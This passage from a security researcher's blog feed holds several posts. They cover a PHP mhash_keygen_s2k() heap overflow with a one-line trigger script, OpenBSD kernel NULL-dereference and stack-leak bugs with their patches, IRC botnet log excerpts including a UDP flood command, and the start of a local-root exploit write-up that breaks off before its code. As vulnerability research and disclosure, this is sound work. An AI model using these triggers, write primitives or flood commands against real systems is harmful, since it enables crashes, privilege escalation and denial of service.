0); font-style: italic;"&gt;mmap()s&lt;/span&gt; at fixed address to trick the &lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;rtcache_free()&lt;/span&gt; to write a NULL at an user controlled address but it's not yet reliable. More information about this soon. ;-)&lt;br /&gt;&lt;br /&gt;PS: I have just received &lt;a href="http://www.amazon.com/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860"&gt;this&lt;/a&gt; book and it really rocks. \o/&lt;br /&gt;&lt;br /&gt;PS2: Phrack #67 rocks too, I loved the quotes on the glibc code in the « A Eulogy for Format Strings paper ». Grep for &lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;alloca()&lt;/span&gt; in glibc and enjoy. \o/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-4592644518103873605?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/4592644518103873605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=4592644518103873605' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/4592644518103873605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/4592644518103873605'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2010/12/netbsd-denialwlocal-root.html' title='NetBSD Denial^WLocal root ?'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7168415523298822209</id><published>2010-05-29T02:32:00.000-07:00</published><updated>2010-06-02T10:51:21.454-07:00</updated><title type='text'>PHP mhash_keygen_s2k() 64 bits bug.</title><content type='html'>Hi folks,&lt;br /&gt;&lt;br /&gt;Since it's the month of PHP security, I've tried to run my old PHP fucking fuzzer against the new versions of PHP and I've found an interesting security bug on 64 bits arch. Here it is.&lt;br /&gt;&lt;br /&gt;The bug is located in function zif_mhash_keygen_s2k() in ext/hash/hash.c where we have :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;span style="font-family:arial;"&gt;740 PHP_FUNCTION(mhash_keygen_s2k)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;741 {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;742 long algorithm, bytes; &lt;span style="color: rgb(204, 0, 0);"&gt;[0]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;751 if (bytes &amp;lt;= 0){ &lt;span style="color: rgb(204, 0, 0);"&gt;[1]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;752  php_error_docref(NULL TSRMLS_CC, E_WARNING, "the byte parameter must be greater than 0");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;753  RETURN_FALSE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;754 }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    (...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;796 ZVAL_STRINGL(z, key, bytes, 1);&lt;span style="color: rgb(204, 0, 0);"&gt; [2]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: georgia;font-size:100%;" &gt;ZVAL_STRINGL macro code is :&lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;544 #define ZVAL_STRINGL(z, s, l, duplicate) { \&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;545 const char *__s=(s); int __l=l; \ &lt;span style="color: rgb(204, 0, 0);"&gt;[3]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;547 Z_STRVAL_P(z) = (duplicate?estrndup(__s, __l):(char*)__s);\&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: georgia;font-size:100%;" &gt;estrndup() is defined in Zend/zend_alloc.c :&lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;2490 ZEND_API char *_estrndup(const char *s, uint length ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;2493  p = (char *) _emalloc(length+1 ZEND_FILE_LINE_RELAY_CC &lt;span style="color: rgb(204, 0, 0);"&gt;[4]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;(...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;2497  memcpy(p, s, length);&lt;span style="color: rgb(204, 0, 0);"&gt; [5]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At&lt;span style="color: rgb(204, 0, 0);"&gt; [0] &lt;/span&gt;we have the variable bytes declared as long. This variable is filled with the last parameter of the &lt;span style="font-style: italic;"&gt;mhash_keygen_s2k() &lt;/span&gt;PHP function. At &lt;span style="color: rgb(204, 0, 0);"&gt;[1]&lt;/span&gt; we are checking if this variable is less or equal to 0 which is not permitted. On 64 bits, long is 64 bits so we can pass 0x00000000FFFFFFFF (-1 value of a 32 bits integer) and check is passed.&lt;br /&gt;&lt;br /&gt;On &lt;span style="color: rgb(204, 0, 0);"&gt;[2] &lt;/span&gt;we call &lt;span style="font-style: italic;"&gt;ZVAL_STRINGL&lt;/span&gt;(), this macro casts &lt;span style="color: rgb(204, 0, 0);"&gt;[3] &lt;/span&gt; the bytes variable as an int, so at this moment &lt;span style="font-style: italic;"&gt;__l&lt;/span&gt; is equal to -1. Then &lt;span style="color: rgb(204, 0, 0);"&gt;[4]&lt;/span&gt; &lt;span style="font-style: italic;"&gt;estrndup() &lt;/span&gt;is called which does a &lt;span style="font-style: italic;"&gt;malloc(__l + 1)&lt;/span&gt; which is &lt;span style="font-style: italic;"&gt;malloc(0) &lt;/span&gt;in our case and permitted. Then we have  &lt;span style="color: rgb(204, 0, 0);"&gt;[5] &lt;/span&gt;a call to &lt;span style="font-style: italic;"&gt;memcpy()&lt;/span&gt; to copy &lt;span style="font-style: italic;"&gt;__l&lt;/span&gt; bytes into the freshly 0 malloc'ed buffer and sbing heap overflow occurs. :-)&lt;br /&gt;&lt;br /&gt;To reproduce this overflow, we can use this script :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;font-size:78%;"  &gt;&amp;lt;?php mhash_keygen_s2k(1, "coin", 867673168, 4294967295); ?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Code execution seems possible from different code paths. Also, key is indirectly controlled by the user. Unfortunately I currently have no time to play with it and to confirm this. Geeeeeeeez... :-(&lt;br /&gt;&lt;br /&gt;PHP security folks have fixed this vulnerability by switching bytes type from long to int.&lt;br /&gt;&lt;br /&gt;Others possible vulnerabilities, not found during the MoPS, are currently under analyze, more info soon. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7168415523298822209?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7168415523298822209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7168415523298822209' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7168415523298822209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7168415523298822209'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2010/05/php-mhashkeygens2k-64-bits-bug.html' title='PHP mhash_keygen_s2k() 64 bits bug.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-5817548590823458066</id><published>2010-01-07T08:16:00.000-08:00</published><updated>2010-01-16T04:39:48.248-08:00</updated><title type='text'>Few phunz on botnets !</title><content type='html'>Here are some funny shits found on my infiltrated botnets. ;-)&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&amp;lt;eekz[34]&amp;gt;  [OFF][AIX][ http://www.pcu.ac.kr/ ]&lt;br /&gt;&amp;lt;eekz[34]&amp;gt;  [Uname][ &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);font-family:verdana;font-size:85%;"  &gt;AIX&lt;/span&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt; www 3 5 002168BB4C00 ] [User][ pima / uid=206(sysop) gid=120(www) ] [Server][ 203.250.129.140 ]&lt;br /&gt;&amp;lt;eekz[34]&amp;gt;  [Dir][ /home3/homepage/pima/myhome/ [R] ] [HDD][ Used: 27 GB Free: 12.07 GB Total: 27 GB ]&lt;br /&gt;&lt;br /&gt;&amp;lt;al3xg0&amp;gt; ZEN990  uname -a&lt;br /&gt;&amp;lt;zen990&amp;gt; &lt;span style="color: rgb(153, 0, 0);"&gt;SunOS&lt;/span&gt; www.xxx.com 5.10 VDE sun4v&lt;br /&gt;&amp;lt;zen990&amp;gt;&lt;/span&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;al3xg0&amp;gt; !x @udp &lt;span style="color: rgb(153, 0, 0);"&gt;your.government.armed.us&lt;/span&gt; 53 300&lt;br /&gt;&lt;br /&gt;#f5: &amp;lt;~nonoxh&amp;gt; .speedtest&lt;br /&gt;#f5: &amp;lt; [UniX|USA|PHX|AccX|685635]&amp;gt; ?~{  SpeeD TesT StarteD! }~? -  Please Wait!&lt;br /&gt;#f5: &amp;lt; [UniX|USA|PHX|AccX|685635]&amp;gt; ?~{  SpeeD TesT CompletE! }~? -  This bot hits at &lt;span style="color: rgb(153, 0, 0);"&gt;4503&lt;/span&gt; MegaBytes/Second&lt;/span&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;br /&gt;[clem1@plouf ~]$ grep clem1.be botlogs | wc -l&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;1932&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-5817548590823458066?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/5817548590823458066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=5817548590823458066' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/5817548590823458066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/5817548590823458066'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2010/01/few-phunz-on-botnets.html' title='Few phunz on botnets !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-4536312603702343991</id><published>2009-12-26T06:42:00.000-08:00</published><updated>2009-12-26T06:47:29.948-08:00</updated><title type='text'>Nowel chez les botneteurs.</title><content type='html'>Bonjour Père-Noël, je m'appelle Kevin et cette année, je voudrais avoir 2000 bots pour moi tout seul, j'ai été très sage...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_H4PVDAHM6sE/SzYhsA1-zsI/AAAAAAAAAAM/ymWgSrtbpCA/s1600-h/xmas.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 196px;" src="http://3.bp.blogspot.com/_H4PVDAHM6sE/SzYhsA1-zsI/AAAAAAAAAAM/ymWgSrtbpCA/s320/xmas.png" alt="" id="BLOGGER_PHOTO_ID_5419556241611345602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Mince... trop tard. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-4536312603702343991?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/4536312603702343991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=4536312603702343991' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/4536312603702343991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/4536312603702343991'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/12/nowel-chez-les-botneteurs.html' title='Nowel chez les botneteurs.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_H4PVDAHM6sE/SzYhsA1-zsI/AAAAAAAAAAM/ymWgSrtbpCA/s72-c/xmas.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8835361042239326744</id><published>2009-12-19T02:36:00.000-08:00</published><updated>2009-12-19T02:52:58.409-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><category scheme='http://www.blogger.com/atom/ns#' term='botnet'/><title type='text'>Exposé sur les botnets pour les nains !</title><content type='html'>Pwet,&lt;br /&gt;&lt;br /&gt;Dans le cadre des &lt;a href="http://www-igm.univ-mlv.fr/%7Edr/expose.php"&gt;exposés&lt;/a&gt; de 3ème année &lt;span style="font-size:78%;"&gt;[0]&lt;/span&gt; pour &lt;a href="http://www.ingenieurs2000.com"&gt;nain&lt;/a&gt; génieur du 2000, j'ai choisi de faire une présentation sur la détection et l'analyse de botnets où je me suis bien “pwalé”. :-)&lt;br /&gt;&lt;br /&gt;Vous trouverez les slides sur ma &lt;a href="http://clem1.be/gimme/xpose.pdf"&gt;maisonpage&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Allez j'en profite de ce mini billet pour faire dans le “corporate” et vous souhaiter, à tous, plein de phunz pour ces fêtes de fin d'année.&lt;br /&gt;&lt;br /&gt;[0] Eh ouais, ça devient bon, Paris va me manquer... \o/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8835361042239326744?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8835361042239326744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8835361042239326744' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8835361042239326744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8835361042239326744'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/12/expose-sur-les-botnets-pour-les-nains.html' title='Exposé sur les botnets pour les nains !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-1849349589021706087</id><published>2009-12-14T06:36:00.000-08:00</published><updated>2009-12-14T09:59:19.019-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='openbsd'/><title type='text'>OpenBSD phunz² !</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Here is a new OpenBSD fun. This time is not a new fucking NULL pointer dereference but a tiny kernel stack memory disclosure. It has been found in &lt;span style="font-style:italic;"&gt;getsockopt(IP_IPSEC_*_AUTH)&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Code can be found in netinet/ip_output.c :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    u_int16_t opt16val;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    (...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    ipr = NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    (...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    case IP_IPSEC_REMOTE_CRED:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          ipr = inp-&gt;inp_ipsec_remotecred;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          opt16val = IPSP_CRED_NONE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          break;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    case IP_IPSEC_LOCAL_AUTH:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          if (inp-&gt;inp_ipo != NULL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;                ipr = inp-&gt;inp_ipo-&gt;ipo_local_auth;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          break;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    case IP_IPSEC_REMOTE_AUTH:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          ipr = inp-&gt;inp_ipsec_remoteauth;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          break;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    (...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    if (ipr == NULL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;          *mtod(m, u_int16_t *) = opt16val;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As you can see, in cases IP_IPSEC_LOCAL_AUTH and IP_IPSEC_REMOTE_AUTH, there are no value assigned to &lt;span style="font-style: italic;"&gt;opt16val&lt;/span&gt; whereas &lt;span style="font-style: italic;"&gt;ipr&lt;/span&gt; can be NULL. In this case, when &lt;span style="font-style: italic;"&gt;ipr&lt;/span&gt; is NULL, &lt;span style="font-style: italic;"&gt;opt16val&lt;/span&gt; is returned to userland and 2 bytes of the kernel stack are leaked. :-)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_output.c.diff?r1=1.200;r2=1.201"&gt;Fix&lt;/a&gt; is very simple, it just initializes &lt;span style="font-style: italic;"&gt;opt16val&lt;/span&gt; in both cases.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;span style="font-family: verdana;"&gt;@@ -1593,9 +1593,11 @@ ip_ctloutput(op, so, level, optname, mp)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  case IP_IPSEC_LOCAL_AUTH:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  if (inp-&gt;inp_ipo != NULL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;    ipr = inp-&gt;inp_ipo-&gt;ipo_local_auth;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;+ opt16val = IPSP_AUTH_NONE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  break;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  case IP_IPSEC_REMOTE_AUTH:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  ipr = inp-&gt;inp_ipsec_remoteauth;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;+ opt16val = IPSP_AUTH_NONE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;  break;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Well, it's not a big issue but it prooves that OpenBSD is also affected by the same fucking issues found in Linux kernel &lt;a href="http://www.exploit-db.com/exploits/9543"&gt;few&lt;/a&gt; &lt;a href="http://www.exploit-db.com/exploits/9521"&gt;months&lt;/a&gt; ago...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-1849349589021706087?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/1849349589021706087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=1849349589021706087' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1849349589021706087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1849349589021706087'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/12/openbsd-phunz.html' title='OpenBSD phunz² !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-79748124027094132</id><published>2009-11-21T06:59:00.000-08:00</published><updated>2009-11-21T07:14:22.542-08:00</updated><title type='text'>OpenBSD PANIC, second round !</title><content type='html'>Hello dudes !&lt;br /&gt;&lt;br /&gt;Here are few new OpenBSD fun. There are NULL pointer dereferences and KASSERT(m != NULL) which can be triggered by simple user. I am too busy to see if the NULL pointer dereferences are exploitables to get root on &lt;= 4.3. I guess patches are enough to understand these vulnerabilities.  &lt;span style="font-style: italic;font-size:85%;" &gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;User triggerable KASSERT()s and NULL dereferences in netbt setsockopt()s, found by Clement LECIGNE, localhost DoS everywhere.  Also, don't leak the mbuf when the wrong level is used.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a href="http://marc.info/?l=openbsd-cvs&amp;amp;m=125880991716458&amp;amp;w=2"&gt;http://marc.info/?l=openbsd-cvs&amp;amp;m=125880991716458&amp;amp;w=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;blockquote style="font-style: italic;"&gt;&lt;span style="font-size:85%;"&gt;NULL dereference in IPV6_PORTRANGE and IP_IPSEC_*, found by Clement LECIGNE, localhost DoS everywhere.  To help minimize further issues, make the mbuf != NULL test explicit instead of implicit in a length test. Suggestions and initial work by mpf@ and miod@ ok henning@, mpf@, claudio@,&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a href="http://marc.info/?l=openbsd-cvs&amp;amp;m=125870804715790&amp;amp;w=2"&gt;http://marc.info/?l=openbsd-cvs&amp;amp;m=125870804715790&amp;amp;w=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Humpf, I should have tested OpenBSD during my 2006 summer of code on IPv6 security. :-(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-79748124027094132?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/79748124027094132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=79748124027094132' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/79748124027094132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/79748124027094132'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/11/openbsd-panic-second-round.html' title='OpenBSD PANIC, second round !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7260113621015069847</id><published>2009-11-02T00:21:00.000-08:00</published><updated>2009-11-04T10:28:23.746-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='openbsd'/><title type='text'>OpenBSD ownage party !</title><content type='html'>Hello world,&lt;br /&gt;&lt;br /&gt;Since &lt;a href="http://www.openbsd.org/errata46.html"&gt;erratas&lt;/a&gt; and &lt;a href="ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.6/common/003_getsockopt.patch"&gt;patches&lt;/a&gt; for the vulnerability have been released, I can publish my exploit with some explanations.&lt;br /&gt;&lt;br /&gt;Explanations are quite light, I have no time. Maybe &lt;a href="http://xorl.wordpress.com/"&gt;xorl&lt;/a&gt; will do a better analysis and in a better english. :-)&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* Vulnerability&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is very easy to understand. OpenBSD developpers have just forgotten to allocate a new mbuf in a getsockopt() kernel case. Indeed, when kernel handles getsockopt() call, it creates a new mbuf which is filled with the information requested and returned back to userland. For instance, here is the code case handling a getsockopt() with IP_PORTRANGE level:&lt;br /&gt;&lt;br /&gt; &lt;font style="font-style: italic;" face="verdana" size="1"&gt;*mp = NULL;&lt;br /&gt; (...)&lt;br /&gt;case IP_PORTRANGE:&lt;br /&gt; *mp = m = m_get(M_WAIT, MT_SOOPTS);&lt;br /&gt; m-&gt;m_len = sizeof(int);&lt;br /&gt;&lt;br /&gt; if (inp-&gt;inp_flags &amp;amp; INP_HIGHPORT)&lt;br /&gt;     optval = IP_PORTRANGE_HIGH;&lt;br /&gt; else if (inp-&gt;inp_flags &amp;amp; INP_LOWPORT)&lt;br /&gt;     optval = IP_PORTRANGE_LOW;&lt;br /&gt; else&lt;br /&gt;     optval = 0;&lt;br /&gt;&lt;br /&gt; *mtod(m, int *) = optval;&lt;br /&gt; break;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;As you can see on line 2, there is a call to m_get() to request a new mbuf.&lt;br /&gt;&lt;br /&gt;Problem is located in levels &lt;font style="font-style: italic;"&gt; IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL&lt;/font&gt; where developpers use the mbuf m directly whereas it has not been allocated, it equals to NULL.&lt;br /&gt;&lt;br /&gt; &lt;font style="font-style: italic;" face="verdana" size="1"&gt;case IP_AUTH_LEVEL:&lt;br /&gt; case IP_ESP_TRANS_LEVEL:&lt;br /&gt; case IP_ESP_NETWORK_LEVEL:&lt;br /&gt; case IP_IPCOMP_LEVEL:&lt;br /&gt;     (...)&lt;br /&gt;     m-&gt;m_len = sizeof(int); &lt;font style="color: rgb(255, 0, 0);"&gt;[1]&lt;/font&gt;&lt;br /&gt;     switch (optname) {&lt;br /&gt;     case IP_AUTH_LEVEL:&lt;br /&gt;         optval = inp-&gt;inp_seclevel[SL_AUTH];&lt;br /&gt;         break;&lt;br /&gt;     (...)&lt;br /&gt;     *mtod(m, int *) = optval; &lt;font style="color: rgb(255, 0, 0);"&gt;[2]&lt;/font&gt;&lt;br /&gt;     (...)&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;At [1] kernel try to write sizeof(int) at NULL-&gt;m_len. If page at address NULL is not mapped, a kernel panic occurs.&lt;br /&gt;&lt;br /&gt;This vulnerability affects OpenBSD version 3.9 (I've not checked previous versions) through 4.6, the lastest.&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* The sploit&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;At first, in order to exploit this vulnerability to gain root priv, we have to be able to map page at adresse NULL. Since OpenBSD 4.4, this has been disabled for all architectures. I haven't found any way of bypassing this protection. Thus, this exploit works only on versions prior to OpenBSD 4.4.&lt;br /&gt;&lt;br /&gt;In the vulnerable code showed above, we can see that the instruction at [2] is very interesting because it will allow us to write optval where we want in memory. Indeed, mtod() is just a C macro which returns &lt;font style="font-style: italic;"&gt;(int*)m-&gt;data&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt;So let's root it ?&lt;br /&gt;&lt;br /&gt;To exploit this, we just have 